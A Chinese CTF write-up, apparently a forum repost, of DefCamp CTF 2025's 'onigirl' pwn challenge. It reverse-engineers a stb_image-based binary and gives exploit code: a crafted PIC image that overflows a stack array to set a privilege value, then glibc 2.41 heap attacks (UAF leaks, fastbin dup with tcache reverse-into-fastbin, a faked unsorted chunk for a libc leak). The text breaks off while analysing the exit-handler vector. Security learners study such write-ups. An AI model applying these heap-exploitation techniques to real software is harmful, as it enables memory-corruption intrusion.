DefCamp CTF 2025 onigirl 复盘详解

查看 1|回复 0
作者:kn0sky   

DefCamp CTF 2025 onigirl 复盘详解
作者:selph(我的另一个id)
https://xz.aliyun.com/news/18992
文章转载自 先知社区

唯一一个困难pwn题,难是真难,为期2天的比赛总共只有11只队伍解出,该题是glibc-2.41下的题目,总共3个难点:如何绕过图像校验?如何在受限情况下进行堆利用?受限情况下如何劫持执行流?对于前半,本文将介绍完整的深入分析复杂流程的过程,对于后半,本文将结合glibc2.41源码来介绍fastbin+tcachebin的组合利用技巧,和exit中攻击向量。


image-20250921234546-vu86vbe.png (14.59 KB, 下载次数: 3)
下载附件
2025-9-27 13:57 上传

题目情况
题目来源:DefCamp CTF 2025(2025年9月14号),困难 pwn
保护全开,glibc-2.41 版本
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
逆向分析(前半):privilege值生成
main函数很长,分段来看(这里是重命名后的结果):
  v47 = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  setbuf(stdout, 0);
  random_seed = time(0);                        // 随机数
  srand(random_seed);
  privilege_value = 4;
  modification_parameters = modification_parameters_1;
  privilege_pointer = &privilege_value;
  printf("Enter image size in bytes: ");
  if ( !fgets(size_input_buffer, 32, stdin) )   // 输入size
  {
    fwrite("Failed to read size\n", 1u, 0x14u, stderr);
    return 1;
  }
  input_size = strtoul(size_input_buffer, 0, 10);// 转换成数字
  if ( !input_size || input_size > 0x10000 )    // 不能是0,不能>0x10000
  {
    fprintf(stderr, "Bad size (1–%d)\n", 0x10000);
    return 1;
  }
  allocated_buffer = malloc(input_size);        // 分配内存
  if ( !allocated_buffer )
  {
    perror("malloc");
    return 1;
  }
  bytes_read = read(0, allocated_buffer, input_size);
  if ( bytes_read
[ol]
  • 读取用户输入的图像数据,手动输入大小和内容,需要自己构造
  • 加载图像并解析为 RGB 格式,这里通过 stbi_load_from_memory函数进行,该函数是静态编译进去的库函数

  • 对图像进行一系列复杂的浮点数运算(问了AI知道是像素级的处理与变换,大致如下
  • 基于像素点到图像中心的距离进行颜色调整。
  • 引入随机扰动影响颜色计算。
  • 应用幂函数和参数矩阵对 RGB 分量进行非线性变换。
  • 某些像素进行 XOR 或 NOT 操作以引入噪声。
  • 在处理后生成一个“权限值”(privilege),后续进入一个交互式菜单系统,根据权限值(需要是0才行)决定用户可执行的操作(如分配、释放内存块等)。
    [/ol]
    利用分析&利用过程(前半)
    分析如何得到 privilege == 0
    让 privilege的值为0的条件如下:
        privilege = *privilege_pointer != 4919;
    需要 privilege_pointer的值是4919,此处我测试了一个只有1个像素的bmp图片,将图片输入,这里解析出图片RGB三个hex值,经过一系列运算后,向privilege指针进行异或操作:
            *privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
                                & (unsigned __int8)pixel_pointer[2]
                                & 0xF;
    这个操作进行一系列 &运算,结果就是 privilege_pointer的值和一个4位的值进行异或
    然后紧接着的相关操作如下:
        *privilege_pointer |= 7u;
        *privilege_pointer &= 0x1FFFu;
        final_privilege_value = *privilege_pointer;
        *privilege_pointer = rand() & 0x3F | final_privilege_value;
        privilege = *privilege_pointer != 4919;
    这里对 privilege_pointer进行 |运算,最后3为恒定设置为1,然后进行 & 0x1fff,保留最后2字节,最后在 | rand() & 0x3f设置最低一字节一个值
    4919的十六进制:0x1337,最后的7是无论如何都会设置上的,问题在于中间的两个3,最后的那个3的值取决于 rand函数的结果,也就是说,通过不断运行,就有概率得到0x37的最低字节值
    问题在于如何在得到0x13的值?
    这一块已经分析不出什么来了,注意啊!这是pwn问题,就要通过pwn的方式来完成目标!!
    回过头来,看看这个 privilege_pointer怎么来的:
      privilege_value = 4;
      modification_parameters = modification_parameters_1;
      privilege_pointer = &privilege_value;
    他们的定义:
      __int64 modification_parameters_1[10]; // [rsp+D0h] [rbp-A0h] BYREF
      int privilege_value; // [rsp+120h] [rbp-50h] BYREF
      char size_input_buffer[40]; // [rsp+130h] [rbp-40h] BYREF
    可见,privilege_value紧挨着 modification_parameters_1数组,局部变量里就这么一个数组,碰巧有 privilege_value紧挨着,是不是有可能,这个数组会发生溢出来影响 privilege_value的值呢?
    继续深入分析 modification_parameters_1参数:
      modification_parameters = modification_parameters_1;
    ...
      loaded_image_data = (char *)stbi_load_from_memory(
                                    (__int64)allocated_buffer,
                                    input_size,
                                    (unsigned int *)&image_width,
                                    (unsigned int *)&image_height,
                                    (__int64 *)&p_menu_choice_storage,
                                    3u,
                                    modification_parameters_1);
    ..。
    然后是浮点运算用的了,正常使用逻辑下一般不会出现越界溢出,这里可疑的就是 stbi_load_from_memory函数,进去追踪该参数:
    __int64 __fastcall stbi_load_from_memory(
            __int64 buf,
            int size,
            unsigned int *p_j,
            unsigned int *p_i,
            __int64 *p_menu_choice_storage,
            unsigned int n3,
            __int64 *modification_parameters)
    {
      __int64 v12[30]; // [rsp+30h] [rbp-F0h] BYREF
      v12[29] = __readfsqword(0x28u);
      stbi__start_mem(v12, buf, size);
      return stbi__load_and_postprocess_8bit((int)v12, p_j, p_i, p_menu_choice_storage, n3, modification_parameters);
    }
    继续进入 stbi__load_and_postprocess_8bit:
    char *__fastcall stbi__load_and_postprocess_8bit(
            unsigned int *a1,
            unsigned int *p_j,
            unsigned int *p_i,
            __int64 *p_menu_choice_storage,
            unsigned int n3,
            __int64 *modification_parameters)
    {
      unsigned int n3_1; // eax
      bool v8; // al
      int n3_2; // eax
      char *main; // [rsp+40h] [rbp-20h]
      unsigned int p_n8[3]; // [rsp+4Ch] [rbp-14h] BYREF
      unsigned __int64 v15; // [rsp+58h] [rbp-8h]
      v15 = __readfsqword(0x28u);
      main = stbi__load_main(a1, p_j, p_i, p_menu_choice_storage, n3, p_n8, 8, modification_parameters);
      if ( !main )
        return 0;
      if ( p_n8[0] != 8 && p_n8[0] != 16 )
        __assert_fail(
          "ri.bits_per_channel == 8 || ri.bits_per_channel == 16",
          "stb_image.h",
          0x50Cu,
          "stbi__load_and_postprocess_8bit");
      if ( p_n8[0] != 8 )
      {
        if ( n3 )
    ...
    这里还要继续深入 stbi__load_main:
    char *__fastcall stbi__load_main(
            unsigned int *p_n4096,
            unsigned int *p_j,
            unsigned int *p_i,
            __int64 *p_menu_choice_storage,
            unsigned int n3,
            _DWORD *p_n8,
            int n8,
            __int64 *modification_parameters)
    {
      unsigned int n3_1; // eax
      void *v14; // [rsp+38h] [rbp-8h]
      memset(p_n8, 0, 0xCu);
      *p_n8 = 8;
      p_n8[2] = 0;
      p_n8[1] = 0;
      if ( (unsigned int)stbi__png_test(p_n4096, modification_parameters) )
        return (char *)stbi__png_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
      if ( (unsigned int)stbi__bmp_test(p_n4096, modification_parameters) )
        return stbi__bmp_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
      if ( stbi__gif_test(p_n4096, modification_parameters) )
        return (char *)stbi__gif_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
      if ( (unsigned int)stbi__psd_test(p_n4096, modification_parameters) )
        return stbi__psd_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, n8, modification_parameters);
      if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
        return (char *)stbi__pic_load(
                         p_n4096,
                         p_j,
                         p_i,
                         (unsigned int *)p_menu_choice_storage,
                         n3,
                         p_n8,
                         modification_parameters);
      if ( (unsigned int)stbi__jpeg_test(p_n4096, modification_parameters) )
        return (char *)stbi__jpeg_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
      if ( (unsigned int)stbi__pnm_test(p_n4096, modification_parameters) )
        return stbi__pnm_load((int *)p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
      if ( (unsigned int)stbi__hdr_test(p_n4096, modification_parameters) )
      {
        v14 = stbi__hdr_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
        if ( n3 )
          n3_1 = n3;
        else
          n3_1 = *(_DWORD *)p_menu_choice_storage;
        return (char *)stbi__hdr_to_ldr(v14, *p_j, *p_i, n3_1);
      }
      else if ( (unsigned int)stbi__tga_test(p_n4096, modification_parameters) )
      {
        return (char *)stbi__tga_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8);
      }
      else
      {
        stbi__err("unknown image type");
        return 0;
      }
    }
    这里可以看到,大量函数都用了 modification_parameters参数,经过逐个探索,发现位于 stbi__pic_load函数中存在溢出问题:
          if ( !stbi__pic_load_core(
                  file_data_ptr,
                  image_width,
                  image_height,
                  local_format_ptr,
                  (char *)loaded_image_data,
                  image_modifications_ptr) )
          {
            free(loaded_image_data);
            loaded_image_data = 0;
          }
          *image_width_ptr = image_width;
          *image_height_ptr = image_height;
          if ( !requested_components )
            requested_components = *local_format_ptr;
          loaded_image_data = (void *)stbi__convert_format(
                                        loaded_image_data,
                                        4,
                                        requested_components,
                                        image_width,
                                        image_height);
          for ( i = 0; i
    这里先调用了 stbi__pic_load_core函数,调用完之后,下面的for循环进行赋值,从 image_noises中赋值,这里会赋值到 image_modifications_ptr[10]中,刚好就是溢出覆盖到下一个成员的地方
    能否在第2字节处赋值到0x13字节,就需要这里 image_noises[10]的第二字节是0x13,继续深入,在经过一系列计算之后,在最后会出现如下运算,给 image_noises数组进行赋值操作:
                if ( mod_result > 0 )
                  index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 不求反的情况
                image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
                buffer_ptr += 4;                    // 累加操作
              }
    到这里已经分析明白了如何给 privilege_value赋值,接下来就是分析如何构造结构了,这些函数都是基于文件结构进行一系列计算和处理,我们需要给定正确的格式才能执行到这里完成溢出的目标
    分析文件结构的构造
    回到 stbi__load_main:
      if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
        return (char *)stbi__pic_load(
                         p_n4096,
                         p_j,
                         p_i,
                         (unsigned int *)p_menu_choice_storage,
                         n3,
                         p_n8,
                         modification_parameters);
    我们要进入 stbi__pic_load,需要先通过 stbi__pic_test的校验:
    __int64 __fastcall stbi__pic_test(unsigned int *p_n4096, __int64 *modification_parameters)
    {
      unsigned int v3; // [rsp+1Ch] [rbp-4h]
      v3 = stbi__pic_test_core(p_n4096, modification_parameters);
      stbi__rewind(p_n4096);
      return v3;
    }
    _BOOL8 __fastcall stbi__pic_test_core(unsigned int *p_n4096, __int64 *modification_parameters)
    {
      int i; // [rsp+1Ch] [rbp-4h]
      if ( !(unsigned int)stbi__pic_is4(p_n4096, &PICT) )// 4个字节头校验:53 80 f6 34
        return 0;
      for ( i = 0; i
    很显然,这里是校验文件头的地方,需要最前面4字节是PICT,然后在0x53字节处也是PICT
    然后在 stbi__pic_load中解析结构的部分如下:
      local_format_ptr = image_format_ptr;
      stack_canary_value = __readfsqword(0x28u);
      if ( !image_format_ptr )
        local_format_ptr = (unsigned int *)&temp_format_storage;
      for ( header_skip_counter = 0; header_skip_counter  4096 || (int)image_width > 4096 )// 不能超过4096
        goto LABEL_12;
      if ( (unsigned int)stbi__at_eof(file_data_ptr) )
      {
        stbi__err("bad file");
        return 0;
      }
      if ( (unsigned int)stbi__mad3sizes_valid(image_width, image_height, 4, 0) )
      {
        stbi__get32be(file_data_ptr);               // 跳过8字节
        stbi__get16be(file_data_ptr);
        stbi__get16be(file_data_ptr);
        loaded_image_data = (void *)stbi__malloc_mad3(image_width, image_height, 4u, 0);// 分配内存
        if ( loaded_image_data )
        {
          memset(loaded_image_data, 0xFF, (int)(4 * image_height * image_width));
          if ( !stbi__pic_load_core(
                  file_data_ptr,
                  image_width,
                  image_height,
                  local_format_ptr,
                  (char *)loaded_image_data,
                  image_modifications_ptr) )
    跳过0x5b字节,然后以16位大端序读取图像宽和图像长的值
    这里需要在0x5c处构造width,0x5e处构造height,这两个数据不能超过4096,也就是0x1000,换成大端序就是0x0010
    然后跳过8字节,进入 stbi__pic_load_core,前半部分如下:
      *(_QWORD *)&buffer_ptr_1[4] = __readfsqword(0x28u);
      compression_flags = 0;
      header_index = 0;
      do
      {
        if ( header_index == 10 )
        {
    LABEL_3:
          stbi__err("bad format");
          return 0;
        }
        temp_int = header_index++;
        header_ptr = &header_data[3 * temp_int];    // 3字节
        header_type = (unsigned __int8)stbi__get8((__int64)data_stream);// 类型,为0的时候跳出结构
        *header_ptr = stbi__get8((__int64)data_stream);// 需要是8,必须是8
        header_ptr[1] = stbi__get8((__int64)data_stream);
        header_ptr[2] = stbi__get8((__int64)data_stream);
        compression_flags |= header_ptr[2];
        if ( (unsigned int)stbi__at_eof(data_stream) )
        {
    LABEL_54:
          stbi__err("bad file");
          return 0;
        }
        if ( *header_ptr != 8 )
          goto LABEL_3;
      }
      while ( header_type );
      if ( (compression_flags & 0x10) != 0 )
        channel_count = 4;
      else
        channel_count = 3;
      *channels_out = channel_count;                // 这个数据是返回的,后面处理不用,不用管
    这里header_data是局部变量,对结构的操作如下:
    读取1个字节,作为类型,是0的话,就会直接跳出循环,降低运算的复杂性
    读取3个字节,给header_data数组
    这个do-while循环以4字节一组进行读取数据作为header信息
    然后后半段:
      for ( i = 0; i  2u )// 只能是0 1 2
              goto LABEL_3;
            if ( header_data[3 * channel_index + 1] )// 1 的情况
            {
    ...
            }
            else                                    // 0的情况
            {
              for ( copy_count = 0; copy_count  0 )               // 如果是大于0的值
                  neg_mod_result = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 就不进行求反,值是0-10的值,1010
                noise_value = image_noises[neg_mod_result];// 原本的噪音
                                                    // pwndbg> p $st0
                                                    // $1 = 2
                index_temp = -mod_result;           // 索引是求反的值
                                                    // 如果是-10,求反变成10,就能控制idx=10,溢出位所在
                if ( mod_result > 0 )
                  index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 不求反的情况
                image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
                buffer_ptr += 4;                    // 累加操作
              }
            }
          }
        }
      }
      return output_buffer;
    这里根据header_data第一个字节判断是什么类型,我们需要进入的片段在最后为0的分支里
    所以刚刚读取的第一个字节的值需要是0
    然后这里,是个循环,循环次数取决于width,就是之前我们设置的width值
    每一轮读取4个字节,首字节和上一轮的首字节相减求模11,第一轮的上一轮首字节是0,如果这个值是负数,就求反
    根据模结果来决定image_noises的索引,我们需要溢出,需要这个值是10
    然后对于noise_value,则是读取该索引处原本的值,然后对读取的4字节中的中间2字节进行异或,乘以一个浮点数,结果进行累加
    为了让这个数值更快的加到0x13??,最好让异或的结果大一些,选择0xf0和0x0f进行组合
    对于首字节,交替输入0和10即可,做差求模一定是10
    综上,每2次循环为一组,则如此构造:
    bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
    因为乘法的常量1.0e-16是个很小的数字,所以需要累加很多很多次,循环次数取决于width,所以这里可无脑填充大量的该8字节组合数据,通过不断测试width的值观察程序输出结果来判断width应该是多少(最终 privilege_value需要是0x1337,末尾的0x37是固定的,只需要找到一个合适的width让 privilege_value第二个字节的值为0x13即可)
    经过测试,width为0x55时,能够覆盖出目标值,最终需要构造的结构&payload发送
    exp(前半):
    def pack_data():
        return bytes([10,0xf0,0x0f,4]) + bytes([0,0xf0,0x0f,4])
    data = flat({
        # header check
        0:bytes([0x53, 0x80, 0xF6, 0x34]),
        0x58:b"PICT",
        0x5c:p16(0x5500),   # width big endian
        0x5e:p16(0x100),   # height big endian
        0x68:bytes([0,8,0,0xf0]), # header info
        0x6c:pack_data()*0x40
    },filler=b"\x00")
    sz = len(data)
    ru(b"Enter image size in bytes: ")
    sl(str(sz).encode())
    sl(data)
    ru(b"yo face = ")
    num = rl()[:-1]
    success(f"num = {num} / 4919")
    因为随机数的存在,需要多尝试几次,直到成功:
    [DEBUG] Received 0x1b bytes:
        b'Enter image size in bytes: '
    [DEBUG] Sent 0x4 bytes:
        b'620\n'
    [DEBUG] Sent 0x26d bytes:
        00000000  53 80 f6 34  00 00 00 00  00 00 00 00  00 00 00 00  │S··4│····│····│····│
        00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
        *
        00000050  00 00 00 00  00 00 00 00  50 49 43 54  00 55 00 01  │····│····│PICT│·U··│
        00000060  00 00 00 00  00 00 00 00  00 08 00 f0  0a f0 0f 04  │····│····│····│····│
        00000070  00 f0 0f 04  0a f0 0f 04  00 f0 0f 04  0a f0 0f 04  │····│····│····│····│
        *
        00000260  00 f0 0f 04  0a f0 0f 04  00 f0 0f 04  0a           │····│····│····│·│
        0000026d
    [DEBUG] Received 0x26 bytes:
        b'yo face = 4919\n'
        b'=== restoaurnat ===\n'
        b'>> '
    [+] num = b'4919' / 4919
    逆向分析(后半):菜单堆管理
    成功拿到privilege==0之后,下面的菜单选项变得可用:
        while ( 1 )
        {
          while ( 1 )
          {
            menu(menu_format_string);
            menu_format_string = "%d";
            if ( (unsigned int)__isoc99_scanf("%d", &choice) != 1 )
            {
              puts("Invalid input!");
              exit(1);
            }
            if ( choice != 31 )
              break;
            if ( privilege )
              goto LABEL_39;
            do_show();                              // 检查chunk指针,打印8字节
          }
          if ( choice > 31 )
            goto LABEL_42;
          if ( choice == 17 )
          {
            puts("Here's a dollar go get yoself a mggaga");
            goto LABEL_42;
          }
          if ( choice > 17 )
            goto LABEL_42;
          if ( choice == 1 )
          {
            if ( privilege )
              goto LABEL_39;
            do_alloc();                             // 申请,填充数据,只能申请2次
          }
          else if ( choice == 2 )
          {
            if ( privilege )
            {
    LABEL_39:
              menu_format_string = "You have to be a pwn monk to order";
              puts("You have to be a pwn monk to order");
            }
            else
            {
              do_delete("%d");                      // 存在未清空的指针
            }
          }
          else
          {
    LABEL_42:
            menu_format_string = "Invalid choice!";
            puts("Invalid choice!");
          }
        }
      }
      error_message = (const char *)stbi_failure_reason(image_buffer);
      printf("Error loading image: %s\n", error_message);
      return 1;
    do_alloc:
    这里申请内存长度取决于输入长度,范围是0到0x5f,最大申请出来0x70的chunk,tcache和fastbin范围内
    会记录当前申请的size大小,可以无限申请该size,size只能变化1次,变化后就只能申请变化后的size
    管理内存的数组一共11个,索引0-10可自由安排
    unsigned __int64 __fastcall do_alloc()
    {
      unsigned int idx; // [rsp+Ch] [rbp-84h] BYREF
      size_t size; // [rsp+10h] [rbp-80h]
      void *s; // [rsp+18h] [rbp-78h]
      _BYTE buf[104]; // [rsp+20h] [rbp-70h] BYREF
      unsigned __int64 v5; // [rsp+88h] [rbp-8h]
      v5 = __readfsqword(0x28u);
      printf("order: ");
      if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx  0 )                    // 读取的长度
        {
          if ( buf[size - 1] == 10 )                // 最后一个是\n,就忽略
            --size;
          if ( size && (__int64)size
    do_delete:
    释放chunk后没有清空指针,潜在UAF和Double-Free问题
    unsigned __int64 __fastcall do_delete()
    {
      unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
      v2 = __readfsqword(0x28u);
      printf("throw? D: ");
      if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx
    do_show:
    可以打印指定chunk 8 字节内容,配合UAF可以泄露释放chunk的前8字节指针
    unsigned __int64 __fastcall do_show()
    {
      unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
      v2 = __readfsqword(0x28u);
      printf("food where: ");
      if ( (unsigned int)__isoc99_scanf("%d", &idx) == 1 && idx
    辅助函数
    def cmd(i, prompt=b">> "):
        sla(prompt, i)
    def add(idx, data):
        cmd('1')
        sla(b"order: ", str(idx).encode())
        sla(b"describe ", data)
        #......
    def dele(idx):
        cmd('2')
        sla(b"throw? D: ", str(idx).encode())
        #......
    def show(idx):
        cmd('31')
        sla(b"food where: ", str(idx).encode())
        #......
    利用分析&利用过程(后半)
    整理当前情况:
    [ol]
  • glibc 版本 2.41:存在fastbin,tcachebin的指针加密,没有 hook 函数可用
  • 通过输入数据的长度来申请内存,申请内存只能申请一种大小,这个大小只能更变一次,范围是0-0x5f,意味着无法通过申请来泄露任何数据
  • 可以同时管理11个chunk
  • 存在UAF,可以泄露释放的chunk的前8字节内容
    [/ol]
    因为指针加密的存在,使用tcachebin chunk可以直接泄露出heap地址
    add(0,b"A"*0x58)
    dele(0)
    show(0)
    ru(b"burgir[0]: ")
    heap_leak = r(8)
    heap_leak = u64(heap_leak)
    success(f"heap_leak = {hex(heap_leak)}")
    heap_base = (heap_leak
    还需要想办法得到libc地址,堆上出现libc地址且位于前8字节的情况只有一种:让堆上出现unsortedbin chunk
    那就得 free 一个unsortedbin size 的 chunk,就需要让一个可控的chunk的size字段被修改
    完成这个目标就需要任意内存分配或者任意内存写,只能使用tcachebin和fastbin的场景下,有一种技巧叫做:Tcache Reverse Into Fastbin
    源码分析:2.41 下的 Tcache Reverse Into Fastbin 技巧
    Tcache Reverse Into Fastbin 技巧位于malloc流程中从fastbin申请chunk的部分:
      if ((unsigned long) (nb) fd); /* 单线程:解密指针得到fd地址 */
          else
            REMOVE_FB (fb, pp, victim); /* 多线程情况 */
          if (__glibc_likely (victim != NULL))
            {
              size_t victim_idx = fastbin_index (chunksize (victim));
              if (__builtin_expect (victim_idx != idx, 0))
            malloc_printerr ("malloc(): memory corruption (fast)"); /* 块大小与bin不匹配:内存损坏 */
              check_remalloced_chunk (av, victim, nb);
    #if USE_TCACHE
              /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
              size_t tc_idx = csize2tidx (nb);  /* 获取tcache索引 */
              if (tcache != NULL && tc_idx counts[tc_idx] fd); /*解密tcachebin chunk fd指针*/
                  else
                {
                  REMOVE_FB (fb, pp, tc_victim);
                  if (__glibc_unlikely (tc_victim == NULL))
                    break;
                }
                  tcache_put (tc_victim, tc_idx);   /*放入 tcachebin */
                }
            }
    #endif
              void *p = chunk2mem (victim); /* 从chunk头换算用户指针 */
              alloc_perturb (p, bytes); /* 可选扰动填充,帮助发现越界 */
              return p; /* fastbin 命中直接返回 */
            }
        }
        }
    当相同size的tcachebin为空的时候,存在相同size的fastbin,申请的时候会进行如下操作:
    [ol]
  • 判断当前fastbin对应size的bin是否为空
  • 取出fastbin链表头指针得到victim,解密其fd指针得到下一个chunk,该victim chunk将用于最后的分配
  • 如果检查发现tcachebin没满,就将后续的所有chunk装入tcachebin中
  • 最后分配走 victim chunk
    [/ol]

    例如:通过申请10个chunk,依次释放,7个chunk进入tcachebin,3个chunk进入fastbin;
    此时申请走7个tcachebin chunk,再次申请的时候,满足了tcachebin没满,fastbin有多个chunk的条件,会进入Tcache Reverse Into Fastbin的流程
    此时fastbin中,假定chunk链表为:A->B->C,则A会被分配走,然后B和C会依次填入tcachebin
    如果 C 的 fd 被我们控制,指向了我们指定的地方(2.41下,目标地址需要其fd解密结果是0),那么就会将指定地方作为tcache chunk 存入 tcachebin 中
    源码分析:2.41 下的 fastbin dup 技巧
    2.41下 fastbin dup和之前没有什么区别,其流程发生在free过程中:
        unsigned int idx = fastbin_index(size);
        fb = &fastbin (av, idx);  // 取出 fastbin 第一个 chunk
        /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
        mchunkptr old = *fb, old2;
        if (SINGLE_THREAD_P)
          {
        /* Check that the top of the bin is not the record we are going to
           add (i.e., double free).  */
        if (__builtin_expect (old == p, 0)) // 检查和fastbin第一个chunk是否相同,相同则认为发生了 double free
          malloc_printerr ("double free or corruption (fasttop)");
        p->fd = PROTECT_PTR (&p->fd, old);  // 加密指针,存入
        *fb = p;
          }
    只检查在 fastbin 链表中第一个chunk,和释放的chunk是否相同
    只需要申请两个chunk,A和B
    按照A,B,A的顺序释放
    fastbin的链就会变成A->B->A
    Tcache Reverse Into Fastbin 组合 fastbin dup 技巧
    如果说,在之前设想的Tcache Reverse Into Fastbin场景里,我的fastbin chunk的链通过fastbin dup之后变成了A->B->A
    此时申请相同大小的chunk,触发Tcache Reverse Into Fastbin的流程,就会将A分配走,然后将B插入tcachebin,再将A插入tcachebin
    程序流程中会向A中写入数据,此时写入目标地址(需要其fd处解密结果是0),那么tcache链就会由A->B变成A->目标
    最终可以得到一个任意地址分配的原语,如果fd处解密结果不为0,就会向tcache链表写入一个不可访问的地址,以至于该size的tcahebin不能再使用,题目只能用2个size的chunk
    任意地址分配原语
    这里是按照流程走下来之后,完成fastbin dup之后,准备触发Tcache Reverse Into Fastbin的时候,此时我在第一个chunk处准备了经过解密可以得到0的值:
    0x5643909ab380  0x0000000000000000      0x0000000000000061      ........a.......
    0x5643909ab390  0x00000005643909ab      0x00000005643909ab      ..9d......9d....
    0x5643909ab3a0  0x00000005643909ab      0x00000005643909ab      ..9d......9d....
    0x5643909ab3b0  0x00000005643909ab      0x00000005643909ab      ..9d......9d....
    0x5643909ab3c0  0x00000005643909ab      0x00000005643909ab      ..9d......9d....
    0x5643909ab3d0  0x00000005643909ab      0x00000005643909ab      ..9d......9d....
    0x5643909ab3e0  0x00000005643909ab      0x0000000000000061      ..9d....a.......
    ...
    0x5643909ab620  0x4242424242424242      0x0000000000000061      BBBBBBBBa.......         
    此时,我再申请一个0x60的chunk,触发Tcache Reverse Into Fastbin:
    0x5643909ab380  0x0000000000000000      0x0000000000000061      ........a.......
    0x5643909ab390  0x00000005643909ab      0x00000005643909ab      ..9d......9d....
    0x5643909ab3a0  0x00000005643909ab      0x00000005643909ab      ..9d......9d....         
    此时的bins信息:
    pwndbg> bins
    tcachebins
    0x60 [  3]: 0x5643909ab690 —▸ 0x5643909ab630 —▸ 0x5643909ab3a0 ◂— 0
    0x110 [  1]: 0x5643909aa680 ◂— 0
    0x160 [  1]: 0x5643909aa520 ◂— 0
    fastbins
    empty
    unsortedbin
    empty
    成功将chunk1的中间加入到了tcachebin,达成任意地址分配
    操作流程:
    for i in range(11):
        add(i,b"A"*0x58)
    for i in range(7):
        dele(i)
    dele(7)
    dele(8)
    dele(7)
    for i in range(6,-1,-1):
        add(i,b"B"*0x58)
    dele(0)
    add(0,(pack((heap_base+0x1000)>>12))*11)
    add(7,pack((heap_base+0x13a0)^((heap_base+0x16a0)>>12))+b"C"*0x50)
    泄露 libc 地址
    泄露 libc 地址需要伪造unsortedbin size,将刚刚的分配到chunk1中间的那个chunk,通过chunk1将其size设置为unsortedbin size,需要注意,unsortedbin chunk next chunk也需要伪造
    伪造完之后,直接释放,UAF读,即可拿到libc地址:
    0x55dc3ef75380  0x0000000000000000      0x0000000000000061      ........a.......
    0x55dc3ef75390  0x0000000000000000      0x0000000000000061      ........a.......
    0x55dc3ef753a0  0x0000000000000000      0x0000000000000000      ................
    0x55dc3ef753b0  0x0000000000000000      0x0000000000000000      ................
    0x55dc3ef753c0  0x0000000000000000      0x0000000000000000      ................
    0x55dc3ef753d0  0x0000000000000000      0x0000000000000000      ................
    0x55dc3ef753e0  0x0000000000000000      0x0000000000000061      ........a.......
    0x55dc3ef753f0  0x0000000000000000      0x00000000000003c1      ................         
    完整的泄露libc地址的代码:
    for i in range(11):
        add(i,b"A"*0x58)
    for i in range(7):
        dele(i)
    dele(7)
    dele(8)
    dele(7)
    for i in range(6,-1,-1):
        add(i,b"B"*0x58)
    dele(0)
    add(0,(pack((heap_base+0x1000)>>12))*11)
    add(7,pack((heap_base+0x13a0)^((heap_base+0x16a0)>>12))+b"C"*0x50)
    # """
    # overwrite tcachebin size to unsortedbin size
    # """
    add(8,b"D"*0x58)
    add(7,b"E"*0x58)
    add(10,b"a"*0x58)
    dele(9)
    add(9,b"G"*0x40+pack(0)+pack(0x21)+b"A"*8)
    dele(0)
    add(0,pack(0)+pack(0x421)+b"q"*0x48)
    add(9,pack(0)+pack(0x51) + pack(0) + pack(0x41) + pack(0)+ pack(0x31) + pack(0) + pack(0x21) + pack(0) + pack(0x11) + pack(0))
    dele(10)
    show(10)
    ru(b"burgir[10]: ")
    libc_leak = r(8)
    libc_leak = u64(libc_leak)
    success(f"libc_leak = {hex(libc_leak)}")
    libc.address = libc_leak -  0x1d3d00
    success(f"libc.address = {hex(libc.address)}")  
    add(10,pack(0)*9 + pack(0x61) + pack(0))
    此时的bins:
    pwndbg> bins
    tcachebins
    0x110 [  1]: 0x55dc3ef74680 ◂— 0
    0x160 [  1]: 0x55dc3ef74520 ◂— 0
    fastbins
    empty
    unsortedbin
    all: 0x55dc3ef753f0 —▸ 0x7f2b89310d00 (main_arena+96) ◂— 0x55dc3ef753f0
    smallbins
    empty
    largebins
    empty
    0x60的tcachebin没有被损坏,还能用该size再次进行任意地址分配
    接下来的问题就是,往哪里申请?接下来无法泄露任何数据了,只能任意地址分配和写
    无法泄露pg,无法泄露environ
    感觉可行的方案:
  • 可以写_IO_File_plus指针到堆,在堆里构造IO通过程序退出流程触发IO刷新
  • 直接打 exit 流程,篡改pg的值,然后伪造initial结构体,触发退出流程执行函数

    源码分析:2.41 下的 exit 攻击向量
    退出的流程主要在__run_exit_handlers函数中:遍历结构体数组exit_function_list,对每组的exit_function函数进行处理
    while (true) {
        struct exit_function_list *cur = *listp;
        if (cur == NULL) {
            __exit_funcs_done = true;
            break;
        }
        while (cur->idx > 0) {
            struct exit_function *f = &cur->fns[--cur->idx];
            switch (f->flavor) {
                case ef_on:    // on_exit函数
                case ef_at:    // atexit函数  
                case ef_cxa:   // C++析构函数
                    // 执行函数...
            }
        }
        // 释放当前块,移动到下一个块
        *listp = cur->next;
